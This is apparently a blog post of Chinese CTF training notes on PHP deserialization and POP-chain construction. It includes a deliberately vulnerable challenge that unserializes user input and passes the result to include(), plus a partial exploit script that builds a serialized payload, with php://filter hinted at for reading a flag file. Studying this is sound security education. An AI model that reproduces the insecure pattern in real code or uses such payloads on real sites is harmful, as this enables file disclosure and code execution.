CTF


CTF web sd培训 morning

web培训文档:(主要讲了popchain)

img

Web培训 (shimo.im)

一、php反序列化漏洞以及popchain构造

popchain(称为):

函数的调用过程。

php语言:

1.$this->:你只要知道那是一个用来表示类内部的属性和方法的代号就好了!

2.对象 属性算对象么???我知道对象是一个类的实例化,那属性也是属性类的一个实例化 所以也是一个对象?

EXP:全称 ‘ Exploit ‘,

中文 ‘ 利用 ‘,指利用系统漏洞进行攻击的动作

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

序列化与非序列化

序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等

(人话:)

1.在php中有一个让对象睡觉的方法,叫searialize(),它会将对象的各属性序列化以方便保存起来,而unsearialize()方法是将保存的序列化的数据解开变成对象。也叫唤醒(猜测:类应该就是保存的序列化数据,当new一个对象时,unsearialize()被调用)

魔术函数:PHP中把以两个下划线__开头的方法称为魔术方法

  1. __construct(),类的构造函数

  2. __destruct(),类的析构函数

  3. __call(),在对象中调用一个不可访问方法时调用

  4. __callStatic(),用静态方式中调用一个不可访问方法时调用

  5. __get(),获得一个类的成员变量时调用

  6. __set(),设置一个类的成员变量时调用

  7. __isset(),当对不可访问属性调用isset()或empty()时调用

  8. __unset(),当对不可访问属性调用unset()时被调用。

  9. __sleep(),执行serialize()时,先会调用这个函数

  10. __wakeup(),执行unserialize()时,先会调用这个函数

  11. __toString(),类被当成字符串时的回应方法

  12. __invoke(),把对象当方法用的时候。此方法会被调用

  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。

  14. __clone(),当对象复制完成时调用

  15. __autoload(),尝试加载未定义的类

  16. __debugInfo(),打印所需调试信息

1.PHP中__construct(),类的构造函数详解-php教程-PHP中文网

2.PHP中__destruct(),类的析构函数详解-php教程-PHP中文网

理解序列化的例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class test
{
private $flag = "flag{233}";
public $a = "aaa";
static $b = "bbb";

// __construct

function __destruct(){
echo "__destruct called!" . "\r\n";
}
function __wakeup(){
// eval($flag);
// system()
echo "__wakeup called!" . "\r\n";
}
public function __toString(){
echo "__toString called!" . "\r\n";
return "1" . "\r\n";
}

// __call
function __call($name, $arg){
echo "$name called!" . "\r\n";
var_dump($arg);
}

// __invoke
function __invoke(){
echo "__invoke called!" . "\r\n";
}

// __get
}

实际调用语句:

序列化方法的返回是字符串

20200228104707966

第一个测试:
1
2
3
4
5
6
$test = new test;\\
$test->ttt("arrgssss");\\
$data = serialize($test);\\把$test对象序列化成一个字符串然后赋给data
// O:4:"test":2:{s:10:"\x00testflag\x00";s:9:"flag{233}";s:1:"a";s:3:"aaa";}
// O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}
echo $data . "\r\n";

运行结果:

ttt called! array(1) { [0]=> string(8) “arrgssss” } O:4:”test”:2:{s:10:”testflag”;s:9:”flag{233}”;s:1:”a”;s:3:”aaa”;} __destruct called!

第二个测试:
1
2
3
4
$test = new test;
$data = serialize($test);
echo $data . "\r\n";
$b = unserialize($data);

运行结果:

O:4:”test”:2:{s:10:”testflag”;s:9:”flag{233}”;s:1:”a”;s:3:”aaa”;} //

__wakeup called! __destruct called! //unser效果 可能在程序运行释放 没错 php内存问题请查看总结PHP内存释放以及垃圾回收_php技巧_脚本之家 (jb51.net)

__destruct called!//是ser效果

第三个测试
1
2
$test = new test;
$test . "a";

运行结果:

__toString called! __

destruct called!

第四个测试:

1
2
3
$test = new test;

$test->ttt("arrgssss");

运行结果:

ttt called! array(1) { [0]=> string(8) “arrgssss” } __destruct called!

popchain的构造:

php反序列化漏洞:

根本原因也是程序员写出来的。

通过写exp 触发方法,从而进行操作

PHP反序列化漏洞也叫PHP对象注入,漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

在魔术方法里面有system()或者eval()函数,里面的参数我们都是可控的

理解反序列化漏洞例题:

(29条消息) 漏洞复现篇——PHP反序列化漏洞_爱国小白帽-CSDN博客_php 反序列化漏洞

phpunlink函数:PHP unlink() 函数 (w3school.com.cn)

题目一:(1.php)

1.在反序列化popchain过程中,construct方法可以忽略。

代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//$this->str也是一个对象,他访问$this->str的source属性
//这里为什么必须是对象呢,因为只有一个对象才有一个字段可以访问,所以这里一定要把它赋成一个对象
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//进行了一些过滤
echo "hacker";
$this->source = "index.php";
}
}
}

// Show.__wakeup -> Show.toString -> Test.__get -> Modifier.__invoke

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;//把$this->p这个属性当作一个方法来执行
return $function();//一看到这个应该很敏感,一下想到$this->p这个属性的__invoke()
}
}

if(isset($_GET['pop'])){//这里传进来一个'pop'字符串,然后对这个属性进行一个unserialize ??$_GET不是很懂
@unserialize($_GET['pop']);//
}
else{
$a=new Show;
highlight_file(__FILE__);
}

php语言@:

[PHP中的@符号有什么用-php教程-PHP中文网](https://www.php.cn/php-weizijiaocheng-414633.html#:~:text=at符号(%40)在PHP中用作错误控制操作符。 当表达式附加%40符号时,将忽略该表达式可能生成的错误消息。,如果启用了track_errors功能,则表达式生成的错误消息将保存在变量%24 php_errormsg中。)

思路分析:

1.从代码观察可以看出,没有可以直接利用的方法,

1
2
3
4
public function __get($key){
$function = $this->p;
return $function();
}

看起来好像可以利用 但是$function();里面没有参数。

2.要做的是通过unserialize方法调用到比较危险的include($value)

结果:

所构造的pop链:
1
// Show.__wakeup -> Show.toString -> Test.__get -> Modifier.__invoke

1>首先先new一个show的对象,然后在反序列化的过程中会调用__wakeup这个方法.

2>

1
2
3
4
5
6
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

这里在进行”/gopher|http|file|ftp|https|dict|../i”过滤之前,就已经将$this->source当作一个字符串来进行访问。

3>经验:

1
2
3
public function __toString(){
return $this->str->source;
}
1
2
3
4
public function __get($key){
$function = $this->p;
return $function();
}

这里的get会对source进行一个获取,

而走到__get就会利用到这个点$function()。然后再走到invoke()

然后invoke()又会转到:

1
2
3
4
protected  $var;//可控的
public function append($value){
include($value);
}

然后就可以进行一个任意文件包含。

php的include()函数:PHP Include 文件 (w3school.com.cn)

编写的exp:(可以利用debug来)

popchain:

1
// Show.__wakeup -> Show.toString -> Test.__get -> Modifier.__invoke
1
2
3
4
5
6
7
8
$a = new Show('flag.php'); // 初始化参数随便
$a->str = new Test();
$b = new Show($a);//这个b就是反序列化的Show.__wakeup
$pop = serialize($b);

echo "===\n";

echo urlencode($pop);
DEBUG:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class Modifier {
protected $var;
public function append($value){
include($value);//6.var是‘php://filter//read’
}
public function __invoke(){
$this->append($this->var);//5.this是modifier var是‘php://filter//read’
}
}

class Show{
public $source;//这里面是可以存放对象
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;//3.$this是Show source是“flag。txt” str 是Test 因为调用test->str->source??不存在 所以就会调用
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//2.$this:Show source:"flag.txt" str:Test 然后source变成show,str变成NULL 原来是因为调用这个方法的时候没有传参,所以这个$this的source是Show对象
echo "hacker";
$this->source = "index.php";//这里类赋了一个字符串的值因此调用了$this->source对象的__toString()函数
}
}
}

// Show.__wakeup -> Show.toString -> Test.__get -> Modifier.__invoke

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();//4.$function:uninitialized $key 'sourse' $this:Text p:modifiet 因为这里进行了一个方法的调用
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//1.跟进一下unserialize的过程
}
else{
$a=new Show;
highlight_file(__FILE__);
}

php的数据类型: 对象 定义就是 public $var


Author: John Doe
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source John Doe !
 Previous
2021-09-03 John Doe
Next 
Hello World Hello World
2021-08-30 John Doe
  TOC